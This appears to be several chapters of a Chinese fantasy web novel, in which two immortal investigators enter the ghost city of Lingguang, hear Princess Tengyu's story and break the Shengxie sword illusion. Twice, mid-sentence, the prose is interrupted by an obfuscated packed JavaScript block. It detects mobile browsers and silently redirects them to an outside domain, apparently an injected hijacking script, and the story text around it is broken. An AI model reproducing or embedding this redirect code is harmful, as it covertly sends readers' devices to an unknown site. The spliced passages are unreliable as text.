聂明月察觉到心中的躁热与不耐,她撑开了应龙伞,希望能缓解异状。 她抬头看天。 关临渊同时发现了不对劲,应龙伞开,天必降水。 暮色之下,淮水之畔有一座古城,在蒙蒙雾气中隐隐出现。 两人对看一眼,关临渊说:“不对劲,那是陵光城!” 前方雾气重重,古城似乎被浓重水气环绕着,宛若鬼域。 “走吧,关大人。”照旧,她开路,他掩护。 “注意安全,聂女侠。”可莫要再不计后果地行侠仗义了。 - 关临渊边走,边向聂明月讲述陵光城的传说。 陵光城,源自春秋吴国一位早逝公主滕玉的陵墓。滕玉公主是吴王阖闾的女儿,备受宠爱。在她十四五岁时,因阖闾将吃了一半的蒸鱼给她,她觉得受了羞辱,丢了碗筷奔回卧室后,抽出短剑自杀身亡。阖闾悔恨不已,为公主举行了盛大的葬礼。 下葬那日,当庞大的送葬队伍与好奇的百姓一同走近墓冢时,突然有士兵出现,将他们驱赶到墓穴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14711632|149482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里,落下石门,所有人都成了滕玉的陪葬。 几千年过去,滕玉陵墓的具体位置已不可考,民间总有关于神秘陵墓与鬼城的传说。 渐渐地,公主的名字已被人遗忘,那座城在人们的口口相传中有了一个名字,陵光。 传说,陵光城因百姓冤魂的怨气而生,只要出现在某个地方,那个地方必定遭遇灾难。又有人说,不是陵光城带来的灾难,而是哪里有冤魂聚集,就会引来陵光城的出现…… - 两人行至城外,正好看见从淮水之中走出一列送葬队伍,缓缓走进城门。 其中最醒目的,是一支白鹤舞队。数百名舞者手持巨大的机关白鹤,竹子扎成的骨架上,蒙着白色绢布。当舞者拉动丝线时,白鹤的翅膀便会舒展开来,颈部轻轻摆动,宛如真的仙鹤在云端翩翩起舞。 “那是滕玉公主的魂啊,要乘白鹤升天了。”大家议论着。宽敞的街道可容纳数列马车并行,两旁挤满了前来观看的百姓。 送葬队伍走走停停,每到一处都会表演一段白鹤舞。渐渐地,越来越多的百姓被场面吸引,纷纷加入队伍。吴王的侍从不仅没有阻拦,反而还不时招手示意百姓靠近。 队伍来到了城中的宏伟建筑前。这座建筑以白玉筑成,门口有一片空旷的场地。当所有人都集中在此时,一声尖锐的哨声响起,数百名手持兵器的士兵突然冲出,开始驱赶着人群往建筑门内走去。 “往里走!都往里走!”士兵们用长矛逼迫着百姓。 聂明月不知道被谁推了一把,关临渊伸手环住她的肩,将她护住。 人群开始推搡起来,数万人如同被网住的鱼群,只能随着人流涌向门内。 “救命啊!” “放我们出去!” 凄厉的哭喊声此起彼伏,但很快就被更大的恐慌淹没。有人摔倒了,被后面的人群踩踏;有人试图转身逃跑,却被士兵的长矛刺伤。 混乱中,那队白鹤舞者也卷入人群,精美的白鹤被踩得粉碎,染上了触目惊心的红色。 随着一声沉闷的巨响,关临渊转头看去,他们进来的城门之上,有一堵石门缓缓降下…… 那些惊恐的喊叫声,随着石门的最终合拢,与众人一起被掩埋在黑暗之中。 - 关临渊低声问聂明月:“你还好吗?” 她伸手抓住了他:“幻境。” 整个陵光城,应该就是滕玉公主的陵墓。他们从墓门进入,在墓道上观看演出,又跟随着人群,进入了墓室中部。 如今,他们和那些绝望的百姓一般,困于两千多年前的墓穴之中。 两人在黑夜中无法视物,关临渊一手拉着聂明月,一手掌心向上,唤出一团幽蓝光影来。透过微弱的光亮,依稀可辨眼前是一条长长的墓道,路的尽头有光传来。 聂明月跟随在他身后,悄悄亮出了赤瞳。肉眼看见的墓道是白玉石壁,在她眼中却覆着一层厚厚的水汽。 “不要用手摸墙。”关临渊也发现了不对,头也不回地提醒她:“有邪灵之气。” 聂明月收回赤瞳,安静地被他拉着往前走。 - 当他们走出通道,眼前是一座白日之下的水上古城。 整座城市仿佛从江南水乡的怀抱中生长出来。主街沿河而建,铺着泛着光泽的青石板。街道两侧柳树的枝条,轻轻拂在水面上。 河道上有着大大小小的木桥。最近的那处,正有一个赤着脚的男人,肩上扛着长长的扁担,从桥上匆匆走过。一个船夫站在船上,木桨缓缓划过水面,船尾的竹筐里放满了新鲜的蔬菜。 纺织作坊里,纺车转动的嗡嗡声和女工们的说笑声交织在一起。木匠铺里的刨花纷纷扬扬,空气中弥漫着木材的清香…… 商贩们热情招揽着两个外乡人,正拉着关临渊,让他给心上人买最时兴的玉簪。 聂明月好奇地看了一眼,轻轻摇了摇头:不喜欢。 关临渊冲老板做了个无奈的神色,遗憾离开。 丝绸、陶器,叫不出名的珍奇物件……绣衣市经营各类服饰,豸冠市专卖帽饰。酒馆中的人们三三两两地聚在一起,说书人正绘声绘色地讲述着远方的奇闻逸事,引得众人时而惊叹,时而大笑。 好一派吴国都城的繁华盛景。 这就是吴王阖闾,为心爱的女儿打造的阴间鬼域! 50. 胜邪剑灵 人间行走指南: 【痛是爱过的痕迹。】 - 醉眼朦胧的滕玉公主斜倚在玉榻之上,殿前百名身着轻纱的舞姬正脱下响屟,准备起一新阕舞。 随着歌声传来,场中雪衣缥缈,仿若鹤之仙羽翩然若飞…… 滕玉百无聊赖地打了个哈欠。 殿外有两个外乡人缓步走来。滕玉看见背着黑伞的聂明月,眼前一亮,瞬间打起了精神,起身将手中的酒樽递予侍女。 “退下吧。”她清亮的嗓音落下,舞姬与侍女默然有序撤离。 “我还以为这一趟遇不到新鲜事呢。”她看着眼前的不速之客,慵懒而轻盈地说。 - 关临渊和聂明月并没有在水城街巷中停留,他们直奔皇城而来。 既然是阖闾为公主建的鬼城,城中地位最高的,当然是这位滕玉公主了。 少女穿着精致的锦衣,身形娇小秀美,一双眼睛明亮天真,丝毫看不出“自刎公主”的骄纵任性。 “说说吧,现在外面是什么世道?”她招呼两人坐下,眼中充满了期待。 关临渊见她身上没有妖邪气息,按下心中疑问,冲滕玉行了个江湖人的见面礼:“打扰了!” - 现在的情况和两人预想大为不同,聂明月寻得殿内一木几前,就地盘坐下来。关临渊随即坐在她身旁。 滕玉见他们极为见外,离她的位置甚远,并不放在心上,走到两人身前,也坐了下来。 三人围坐一处,场面略有尴尬。 滕玉知道他们的来意,先唤侍女端上酒水茶点,主动开口:“你们不要害怕,我不是坏人。我只是一个被拘在此处的可怜人罢了。” 她自来熟地说起自己的故事来。 - 滕玉作为阖闾最疼爱的小女儿,自小锦衣玉食。阖闾以公子光的身份逼宫成功后,成为新任吴王,得到了先王的诸多宝藏。 他将其中一柄名为“盘郢”的宝剑,作为及笄之礼送给了滕玉。据说那是欧冶子所铸的五柄稀世名剑之一。 滕玉爱及了那把剑,放于卧房之中整日把玩。 盘郢剑是阖闾得到的名剑中最短的一柄,仅有寻常宝剑的一半。也就是因为它看起来更为精巧,阖闾才专门挑来送给了她。 自那之后,滕玉心性逐渐变得乖张偏激,动不动就迁怒他人,才有了历史上因半条鱼愤而自刎的骄蛮公主的一笔。 “后来我才知道,那把剑,还有一个名字。”滕玉说起伤心事,脸上带着悲伤。 欧冶子在铸盘郢时,发现此剑之灵吸食邪怨之气而生。他自己也深受邪灵影响,因此没有将它铸成长剑,还为它起了个别名——“胜邪”,希望用它的人,能战胜剑上的邪气。 胜邪,其实是一把残剑。 - 滕玉死后,阖闾以万人陪葬,为她建了一座地下都城。万鬼之怨在陪葬物胜邪的影响之下,结成了妖魂。 城中百姓不断重复着送葬那日的场景,从清晨到夜晚,由生到死,几千年都无法从痛苦记忆中摆脱出去,这才有了鬼城的传说。 “我死之后,胜邪控制不了我的心智,我才知道发生了什么事。”说到这里,滕玉双眼泛红,为自己做过的错事懊悔不已:“但我从没有害过任何人。” 她不知道该如何才能帮助陪葬百姓得到解脱,整座城中,唯她一人知道事情真相。她尝试过很多办法,都做不出任何改变。 直到有一次,一个外来者的闯入。 滕玉指指聂明月放在身旁的黑伞:“那个人,当时也撑着这把伞。” 聂明月眼中闪过一丝诧异:“是谁?” “他叫……”滕玉突然一顿,豆大的眼泪簌簌落下:“计岐,他来自阴冥司。” - 关临渊心中一凛,这是他第一次听到阴冥司来人的具体姓名,不知道这个计岐是第几任的阴冥司大人。 聂明月一听姓计,凝神看向滕玉,等着她继续说下去。 “我对你们坦诚以待,就是因为看到了这把应龙伞。”滕玉抬起手背,擦去脸上的泪:“那时的计岐……是来抓我的。” 阴冥司的计岐大人,要缉鬼城之主滕玉,结果发现她并未作恶。 计岐本来是要走的,却对公主起了恻隐之心,留在城中帮她寻找脱身途径。 他找到了胜邪剑灵,也将其顺利诛杀,但是却不能找到带公主离开的途径。她似乎被永远禁锢在鬼城之中了。 历经多日之后,此事陷入了僵局。 - 独守鬼城百年的豆蔻少女,遇到风姿绰约的阴冥司大人,她对计岐起了爱慕之意。 对滕玉而言,那段时光是她死后唯一的美好回忆。 “你们二人……”滕玉从两人的神色中看出一些默契,语气中带着试探。 关临渊握住聂明月的手,点了点头。 “唉。”滕玉看着两人紧握的手,深深叹气:“喜欢一个人时,哪怕对方毫无回应,但想着只要在一起,独自甜蜜也是极好的。” “后来我才知道,那些过往终究会在漫长时光中淡去,当初有多喜欢,就有多刻骨铭心的痛苦回忆。” - 计岐最后为公主想了个办法。 “公主既因没有犯下业障,而不能被我带走,那不如反其道而行之——积攒功德,待到圆满之际,你以阴魂修炼成为阴灵,到时未必不能破城而出。” “那要多久?你会等我吗?”滕玉在意的只有这一个。 计岐皱了皱眉,对公主拱手道:“计某有自己的家族使命与阴冥司责任,恕不能接受公主的心意。” 他走的时候,滕玉只能留在城中看着他,那个撑着伞的背影,就是她对慕恋之人最后的记忆。 - 从那以后,滕玉开始尝试计岐留下的修炼法门,借城中万鬼之力,沿淮水一脉吸取世间的阴怨之气。吸食怨气越多,她能操控鬼城的出现范围越广。 她将人间怨气转为鬼城出没的灵力,不再让怨气危害人间,是为积攒功德之路。 待她成为真正的阴灵后,将鬼城的控制权完全掌握在手中。 有异乡人误入鬼城,她都以礼相待,如今天这般坐下来听对方说城外的新鲜事,关于世间的变化,她大多是知晓的。 最后她还会专门抹去对方在城中的记忆,将其好好地送出去。 渐渐地,民间就有了关于“陵光城”的故事。 - “六百多年前,有人进来,问我是不是就是传说中的河神无支祁。”滕玉有点生气,面上带着恼色:“后来我才知道,那些话本子上,传我是个面目可憎的水鬼模样。” 关临渊忍不住告诉她实情:“嗯,你最近一次,被传成了地下水城的城主‘水母娘娘’,是个可以兴风作浪的妖怪……我大概在二十年前的戏园子里看过那部戏。” 滕玉闻言嗖一下站了起来,气得直跺脚:“我把他们当客人,他们就出去胡乱编造我!” “这也不怪,他们的记忆,被你抹去,不全……”聂明月本想着安抚少女,结果滕玉一听,原来还是怪自己咯,更委屈了怎么办? 看着眼前急得要哭的公主,聂明月向关临渊投去了求助的目光。 女朋友不会聊天,关临渊只得主动转移话题:“所以,计岐当年是如何离开的?” - 此话一出,果然吸引了滕玉的注意力。 计岐在来到鬼城的第一天,就判断出是胜邪剑灵作怪。他成功诛杀胜邪妖魂后,得到了一把赤红的胜邪短剑。 滕玉从袖中拿出一把短剑来,上面不知何种材质制成,竟带着天然的血红之色。 “邪灵在殒灭之际,将幻境置于短剑之中,计岐是在破境之后离去的。” 虽胜邪已死,城中怨气却无法散去,滕玉依然无法脱身。 计岐在成为阴冥司大人之前,是个修士。雨师家族先人是炎帝神农部将,最懂水的属性。 他曾以果子酿酎酒,分三次追加原料,工艺之复杂,一缸酒需得一年的时间才能酿成。 - 在计岐的秘术加持下,酎酒酒质醇厚,新酿为淡青色,陈酒为金黄色,更陈年的酒则呈琥珀色。 常人饮之强身健体,修士及妖怪饮后可入幻境。 他走之前,送了滕玉一坛酒。如果后世有人进城,便可让其饮下此酒,入境后破境。 “所幸的是,这城每日都重复前日之事,那坛酒,我日日饮之不尽……” 他最终留下一句意味深长的话:“若有人能承其邪而不失本心,便能破城而出。”这成为滕玉多年苦思的难题。 - “就是这酒……”滕玉指向三人面前的玉石酒盏,酒体色如琥珀,在玉盏的光泽掩映下,隐隐生辉。 “你没闯过去?”聂明月问,依公主这跳脱的性子,不可能不饮酒入境。 “我每天拿酎酒当水饮,从未入过境,酒量倒是越来越好了。”滕玉苦着脸道:“千年间,我会向每个人讲起这个故事,几乎所有人都选择被我抹去记忆,平安送出去。只有四人主动饮酒入境,出境者仅三人。他们走之前,也不告诉我里面是什么样子。” “最后那人进去后,再也没能出来。从那以后,我就不把酒给外人喝了。客客气气招待一番,就把他们送出去。” “我觉得,在外面编排我故事的,就是那三个人!我送出去的人,都是被我抹去记忆的。”滕玉心下失望,明明她都很客气,为什么还要被说成是丑陋的妖怪啊? - 关临渊见聂明月盯着酒杯,知道她想要做什么。 他对滕玉说:“若公主信任我们,我们愿意试一试。”他对胜邪剑灵的幻境也有些好奇,计岐当年那句话,到底是什么意思? “我相信你们肯定能破境……”公主点了点头,正还要说些什么,聂明月就拿起面前的酒盏,将其一饮而尽。 关临渊无奈,也不再跟公主客气,马上喝下杯中酒。 “哎!”公主没想到这两人是个急性子:“我话还没说完呢,这是个单人幻境……” 你们本不用一起饮的。 - 这是聂明月第一次喝酒,醇厚酒体入喉,如丝绸般坠落,刚过片刻,腹中升腾起一股灼热之气。 她自觉脸颊发烫,伸手摸脸,手移开后,眼前已经换了一幅景象。 天空一片血红,大地之上黑气四溢,残尸血肉遍地。整个世界都如置身于火炉之上,炽焰四起。 远处有电闪雷鸣之声,道道划破天际,每一声振聋发聩,让她无法忍住心神震荡。 她强行压住体内的炙热气息,挪步向前方走去,才发现自己不知何时穿上了一袭青衣,上面布满了残血污痕,衣角碎裂不堪。 聂明月皱了皱眉,抬手想撕去残衣,却发现自己的手枯瘦如干柴,狰狞的指甲像道道弯钩,上面还带着血腥之气。 - 她直接用手覆面,脸面布满了褶皱和滚烫的纹路。她的赤足枯槁,垂及地面的长发,竟然是银灰色。 “关……”她想叫出一个人的名字,却怎么想也叫不出全名,反倒被自己嘶哑如兽般的声音惊到了。 前方传来打斗之声,两个巨大的身影正在缠斗。其中一人身高数丈,脸面侧影如狮兽之首,每出一招,便发出剧烈兽吼。 上方那道黄色影子,盘旋于半空之中,时不时趁巨人露出破绽之际,激出一道水剑。 随着她的靠近,空中长影显现,一条黄龙从黑云之中露出长尾。黄龙见她走近,口吐人言:“你怎么回来了?” 她初来此地,被熟悉的声音这么一问,愣于当场:回来?这里是人间?还是修罗场?到底是什么地方…… - 一声龙吟之后,画面一转,奔涌江面上洪水滔滔。她正持一把赤色短剑,刺入眼前男子身体。 如瀑的暴雨淋湿了她的黑发,将她的衣袍通体浸湿。剑入肉骨之际,她抬起头来才发现,那人是熟悉的脸…… “关临渊!”她终于叫出了他的名字。关临渊满身鲜血,倒在了她的怀里。 她无措地看着自己的手,莹白的手上沾满了他的血。她不知道方才发生了什么事,也不知道此时自己做了什么。 眼看着关临渊断绝了生机,随着他闭上眼睛,自己的心也被撕成了碎片,疼痛不已…… - “呵呵,原来你是个上不得台面的低贱妖物。”一道声音冷恻恻地传来。 她回头,四下环顾,没有找到对方在哪里。 “你找不到我的。这是我的境,我无处不在。”那人语气中透着邪气:“初见你时,见你有上神修为,还以为你有多大能耐呢。” “看看你心里,多么不堪,多么令人作呕啊!满嘴斩妖除魔,伸张正义,结果还不是亲手杀死了自己的爱人……” “胜邪?”聂明月心知自己身处妖境,眼前不过是剑灵做出来的幻象,她凝神聚气,脑中飞速盘桓着所有信息。 “没用的。你以为这是我制造的假象?”它桀桀怪笑:“我本邪剑之灵,吸取的是生灵邪气。你邪气越盛,所见场面越久远。我看看……这是哪里……” “咦,这里居然是……”对方语气中透着惊讶,也不知道出于什么原因,强压住后面的话不说出来。 - 聂明月将关临渊轻轻置于地上,她清楚知道,只有成功破境,关临渊才有活下来的机会。 “你生气啦?你有什么可生气的?这不就是你做过的事情、心中的邪念吗?”它话里全是嘲笑。 “你不敢面对你的过往,还要假惺惺跟曾被你亲手杀害的人谈情说爱……啧啧,比我还卑鄙!” 聂明月不顾它的言语激怒:“不就是个剑灵?也有这么大的口气?” 她冷笑一声,思及计岐为滕玉留下的那句话。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14717296|149482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “承其邪而不失本心……”她默念着,如果此境是她多年前的记忆之一,难道是曾因亲手杀死了前世爱人,而选择将自己放逐在海底? 不失本心。不管是真是假,我聂明月,绝不是为了逃避过往而放弃自己的人! 这,不会是我的本心。 - 她亮出赤瞳看向四周,奔流的江水、关临渊的尸体……皆是幻像。她明明还身在大殿之中。 手中的赤色短剑……却是真实存在的。 她找到了破境之路,关键在于—— 承其邪。 聂明月闭上眼,嘴角浮现出一抹淡淡的笑意,她抬起剑刃,朝自己的胸口刺去。 这一剑刺入胸膛,幻境中的所有怨气瞬间消散,满天幻像也随之崩塌。 当聂明月再次睁开眼睛时,她依然站在皇庭殿内。 “放弃自己,不是我的本心,而是我的邪意。” - 她出来得过快,对于滕玉来说,不过又斟满一杯酒的时间。 滕玉一脸不可思议:“你太厉害了!你的同伴也进去了,还没有出来。” 聂明月这才知道,这是每个人单独直面自己内心邪意的幻境。 如果她一开始就知晓,也许出来得还没有这么快吧。 她虽脱困,但想着仍未出境的关临渊,不由猜测,他会在幻境中看到自己吗?会看到那只不堪的、卑劣的、丑陋的低等恶妖吗? 如果胜邪的话是真的,那亲手杀死关临渊,是过往的记忆,还是未来的预告? 想到这里,她心下甚是烦躁,时间太短,酒气还未散去。 她端起滕玉面前的酒,又一口饮了下去。 - “……还能进去一次?”滕玉也没有验证过,期待她的反应。 只见聂明月双颊绯红,眼睛慢慢变直,身体忍不住轻轻一晃—— 她笑着滕玉说:“不就是个鬼城吗?等我把它全部毁了去……” 说罢,她就跑去殿外,立于皇城中央的祭台之上。唤出灵台明堂,一座神山凭空出现,光华辉映,将整座陵光城照得纤毫毕现。 城民见到天有异象,纷纷出门抬头观望,只见一名黑衣女子,如天神降临于高台,神山彩霞璀璨。 她的手挥向哪处,强大灵力便倾泻而去,瞬间屋倒房塌,百桥千水尽数被毁…… 几息之后,随着神山隐去,整个陵光城陷入一片死寂,就像从下往上被翻了个身,无一片完好之地…… “哎呀,你这是在做什么呀!”滕玉公主急得跳脚。 上房揭瓦这招她用过,没有用的! - 不对,这位女侠,应该是在耍酒疯吧? 滕玉见城民惊慌一片,虽是亡魂,她也不忍心让他们受到惊吓,连忙将聂明月扶了下来,带回大殿内。 刚进门,迎面遇上了出境的关临渊。 “这是怎么了?”他见聂明月连路都走不稳了,心下焦急,以为她受了伤。 “喝醉了。把我陵光城都给推平了!”滕玉只觉得好笑。 关临渊将聂明月拦腰抱起,在公主的安排下,放到寝宫中休息。 - 安顿好聂明月,关临渊对滕玉说:“如果你愿意,可否让我为你权衡下功德?” 公主已是鬼修成灵,在没有死亡的情况下,关临渊需得经过她的允许后,才可量骨察看。 滕玉闻言,神色有些紧张。犹豫片刻后,点了点头。 关临渊唤出獬豸尺,施术游走于公主周身。几番操作之后,他开始掐指计算。 “你其实早在三百年前便已经功德圆满,为何没有出城的意愿?”他好奇地问。 滕玉怔了一下:“真的吗?”她有点不敢相信自己的耳朵,这件事早就成了? “是的。”关临渊点头,“你之所以一直进不去幻境,是因为你心无邪念,全然赤子之心。” 今日结交这位传说中以娇气闻名的公主,才发现她是天真坦荡之人,否则当年她染上邪气之时,就直接刺死阖闾,而不是挥剑自刎了。 “按理说,如果你这期间有过出城的想法,应该早就离去了。” 滕玉咬了咬唇,双眸中有水光晃动:“……我……我也不知道啊。关大人,且容我先想想……” - 关临渊点头。“另外,你说出去的人编造你的怪相,我想,他们说的丑陋妖怪并不是你,而是在幻境中无法面对的自己……”他结合自己境内所见,将结论告诉了滕玉。 至于计岐,按照阴冥司的规定,他应该先将城中亡魂带走。当年在境中看到了什么,才导致他仓促离去呢? 他心中疑惑甚多,但先对滕玉说:“在你做下决定之前,我可不可以求你一件事?” 滕玉闻言,有些惊讶:“我有什么能帮忙的?你尽管说。” 关临渊的分析让她极为开心,原来不是那些人故意抹黑她。 - “你曾说过,常人进城,你会消除他们的记忆再送走。你能不能帮我……”他转头看向熟睡中的聂明月,这也是相识以来,他所知的她第一次真正的睡眠。 “……能不能帮我消去她的今日记忆?”他又看向了滕玉。 “为什么呀?”滕玉不解,聂小姐不是他的爱人吗?今天在城中发生的事,为什么不要她记住? “我在幻境中,看到一些事情。如果她也看到同一件事的话,清醒过来,可能很难接受……”关临渊只将话说到此,没有继续。 “我需要提醒你,女孩子可能并不想让你代她做出这个决定。”滕玉抹去忍不住的眼泪,关临渊的话让她想起了过去的很多事。 “但我愿意帮你!见到有姑娘被人这么呵护在意着,我也替她开心。” - 夕阳之下,关临渊抱着依然沉睡的聂明月,被滕玉送到城门口。 看着水乡美景变成如今断壁残垣的惨状,得知是聂明月喝醉后所为后,关临渊忍不住道歉:“尽管我知道,马上就会恢复如初,但我依然很抱歉……” 滕玉摇头:“没关系的,反正我也看了几千年,都腻了,换个样子还挺新鲜。” “你真的想好了?不走了?”他对滕玉的最终选择也很好奇。 “嗯。既然我能功德圆满,证明这件事是对的,我想继续做下去。关大人帮我收走了城民亡魂,我感激不尽。接下来的事情,就交给我吧。” 她决定将陵光城继续留在淮水之下,以真正的水妖身份守护她的故土家乡。如果世间再有灾难,她就出来消解守护。 “希望我以后也不用再出现了,这就证明了,人间很好,再也没有战乱和怨气!” 她最后说:“如果你有机会见到计岐……哪怕不再是当初那个计岐——” “麻烦你帮我转告他。我滕玉,从没后悔过喜欢他!” 晚霞照在少女公主的脸上,熠熠生光。 51. 真相亦假 人间行走指南: 【爱很脆弱,以谎言守护终究笨拙。】 - 聂明月醒来的时候,已经是午后了。 太阳已经从树顶落下来,阳光斜斜照在她躺着的草地上。她揉了揉惺忪的眼,才发现身上盖着关临渊的外套。 “你醒啦?”关临渊的声音传入耳中。 聂明月转头,只见关临渊倚在树下,笑意浅浅地看着她。 “我竟睡着了。”她被晒得发热,缓缓坐起来:“什么时候了?”她是看关临渊睡得香,学着躺了会儿,没想到自己也睡着了。 关临渊眸光闪烁,细细观察着她的表情:“没多久,大概就睡了十分钟吧。” 他伸手将她肩上一片细长草叶摘下:“走吧,咱们还得赶路呢。” 对不起,偷走了你的一天。他默默在心中道歉。 - 两人边走边说话,从将军的家乡,聊到了他十六岁就射死了山中猛虎。说起那把银色弓箭,聂明月对关临渊的铁尺也有些好奇。 关临渊把铁尺从灵台中招了出来:“獬豸尺。”他若有所思地看着她,开始为她讲述了关于法器、器灵、应龙伞的事…… “那我以后,送你一个。”聂明月将这件事放在心上。 关临渊沉默片刻,问:“忘了问你,你喝酒吗?” 聂明月摇头:“从不。”军营里大家时常坐在一起喝酒,但将军怕她酒后显相,严令禁止她沾染。 后来哪怕丽娘开了个酒铺,她也以茶代酒,滴酒不沾。 “真不错,那我也不喝了。以后就让我——”关临渊说:“且弃杯中雾,明月共相归……” 聂明月忍不住笑:“好酸的诗。” 关临渊被她取笑,佯装愠怒,将她逗得更开心了。 沿着淮水一路向南,两人终于在夜色来临之前,赶到了聂家湾。 - 淮南聂氏是大姓,光是本族人,就分了垭、湾、岗等不同村落,根据山势地形而命名。 聂将军从军后,随着他不断晋升,他所属的那一支族人地位也逐渐提升。当他成为提督时,已是族长一脉。 因此,聂氏宗祠在战后重建,选址迁至聂将军的故里——聂家湾。 聂家湾地处云岭山下,沿河湾错落的民居粉墙黛瓦,山腹至水畔,有一大片望不到边际的油菜花开得正盛,在夕阳之下蔚为壮观。 看着铺天盖地的耀眼金黄之色,聂明月睁大了眼。 “所以,是油菜花好看,还是黄芍药好看?”关临渊发现了,聂明月对黄色的花有着天然的好感,他算是歪打正着。 聂明月一本正经地问:“你听过,黄花教吗?” “四十年前兴起于京城的一个女子教团,被清廷迅速剿灭了。”那件事作为初期女性意识觉醒的开端之一,在政史家的文章里留下浅浅的一笔。 “我,黄花教主。”她讲述了当年的事。 “你居然是三仙子中的小仙姑!久仰久仰!”关临渊啼笑皆非,没想到她还坐过清廷的大牢。 - 他们本是随兴而至,并不想惊扰聂氏族人。村中炊烟袅袅升起,田间归来的农人正忙着准备晚饭。 聂明月站在花田向村子看过去,家家户户灯火如豆,有如闪烁的点点萤光。 她想着,聂将军就是在此间出生,在田野中奔跑,从一个稚嫩孩童变成强壮少年。 他也是在眼前的乡间小路上与亲人告别,踏上了行军之途; 多年后,他的战绩与荣光被书信传报,族人就在村子中央祠堂内,将他的名字写在了最上面……那些画面一幕幕从她眼前划过,就此看完了将军的一生。 “那上面也有,我的名字……”聂明月喃喃道。她和唐槐,与父亲和祖母的名字写在一页,从此她有了家人和家族。 “你有一个了不起的父亲。”关临渊感她所念:“聂将军也有一个了不起的女儿。” 他整理衣衫端直正立,神情庄重严肃,恭恭敬敬地朝着祠堂的方向,作揖一拜。 他行的,是晚辈的恭礼,既寄托对聂将军的敬重,也暗藏着他的深深承诺。 - “您将聂明月教得真好,她是一个,真正的人。”关临渊心中默默对将军说:“如果有她必须背负的责任,就让我来与她共担吧。” 从她踏上海岸、走到将军面前的那一刻起,她就只用是聂明月了。 他此刻心中再无一丝昨日抹去聂明月记忆的忐忑与内疚。他从她身上硬生生抢走了本应属于她的、仿若被命运钦定的“天命所归”。 这是关临渊千年以来,第一次违背了阴冥司的原则,背叛了自己的信念。 他唯有庆幸,并不后悔。 - 下一程的路途很长,两个月时间,二人从淮南向西南方向至襄阳,又从十堰走到了神农架,一路走走停停,抓了若干阴魂,收了三五小妖。 再走半个月,就可以到达此行目的地——大巴山系中的阴冥川。 阴冥川在巴蜀之地,是一条贯穿秦巴山脉的地下暗河。在万年以前,阴冥川还在地面之上,那时它叫赤水。 当然,那并不是如今人们所知的赤水。 “阴冥司,在阴冥川?”聂明月问。 “不,和你的明堂一样,阴冥司只是一个名字,我在哪里,阴冥司就在哪里。我的灵台就是冥池。”阴冥司大人五百年一次的交接,其实就是将灵台冥池转交的过程。 “你的师父,去了哪里?”聂明月想起那位将她从终极愤怒中拉回现实的老人。 “不知,每一位掌管阴冥司的人,均应天命而生,最终归属,也随天命而去。” - 关临渊和聂明月同样来历成谜,但因有对天命的信仰,虽理解聂明月的执着,却没有她的疑惑和迷茫。 他在陵光城中听滕玉说到了计岐,计岐的出身来历均有可循。加之胜邪剑灵中看到的画面,关临渊暗自判断,自己在千年前是确切存在着的,这件事,却不能跟聂明月提了。 他们之间,有着不止千年的宿命纠缠,他日后再去追溯。 关临渊十六年前第一次现身人间,是从阴冥川的地下河道中走出来的。所以他将阴冥川当作故乡。 关临渊也想带聂明月去他的故乡看一看,像两人就此能达成某种仪式一样。 互相认定了对方。 - 行至神农架附近的村庄时,已是盛夏。青山连绵不断,茂盛的植物在山中潮气的润泽下,透着深深浅浅的绿。 此时战争形势愈烈,他们沿路遇到过很多队伍,当地百姓以报国的赤诚之心,为战场送上粮食与物资,神农架已成了军队的大后方。 当晚,关临渊和聂明月投宿在村外的山神庙中。他们身份特殊,不愿意打扰村民,打算在庙里将就一晚。 尽管是将就,关临渊还是从农家买来了食材,借了一口铁锅。聂明月拾了干树枝,在前人留下来的石灶里点起柴火。 在洗干净的瓦片上,切得薄薄的腊肉卷着金黄的边,“滋滋”冒油。锅内炖着竹笋鸡,“咕嘟咕嘟”作响……不大的殿内很快充满了诱人的香气。 “我俩好像还没有一起吃过饭。”二人本不需要饮食,但口腹之欲万灵皆有,关临渊此番操作正合她意。 聂明月就着醇香清新的鸡汤,吃着咸香肉片,连日赶路的风尘仆仆被一扫而尽。 此时已是深夜,村里家家户户早已熄灯入睡。山间的夜晚十分清凉,她心中惬意,站起来走到了殿外吹起了夜风。 寂静之中,突然传来一声微不可察的清脆铃音。 - 关临渊警惕地走到她身边,两人一起看过去,村外的小路上,有一人从暗处走来。 那是一个穿着土布短衣的瘦小男人,手里持着铜铃,横背着一个长形木箱。 他看到山神庙外站着的两人,表情一愣,又随即笑着说:“你们先到,我走了。” 他转身离开之际,聂明月在他背着的箱子顶上看到一个隐隐的白色大字,“奠”。 聂明月偷偷亮起赤瞳,五道墨线弹痕布于字下,组成了一个五星模样,看起来像是咒语,又像是个法阵。 “背尸人。”关临渊说。这里是湘鄂川三省交界地,战乱中很多人死在了异乡,便有背尸人接受托付,带死者回到故土安葬。 “他手中的铃铛,又称唤魂铃,在每经过一个路口的时候,需要摇一下铃,给死者亡魂指路,示意跟上。” 关临渊没有发现墨线弹痕,聂明月暗自猜测,那大概是背尸人特有的标记吧。 - 背尸人一次只能背一具尸体,又极难保存,哪怕最薄的棺木也颇有分量。此行翻山越岭,路途遥远,是一个极苦的差事。 男人看着精瘦矮小,却做起了背尸人,想必是有凄苦来历了。 “等一下。”聂明月突然出声,那人刚走出两步,身形一顿,缓缓转过身来。 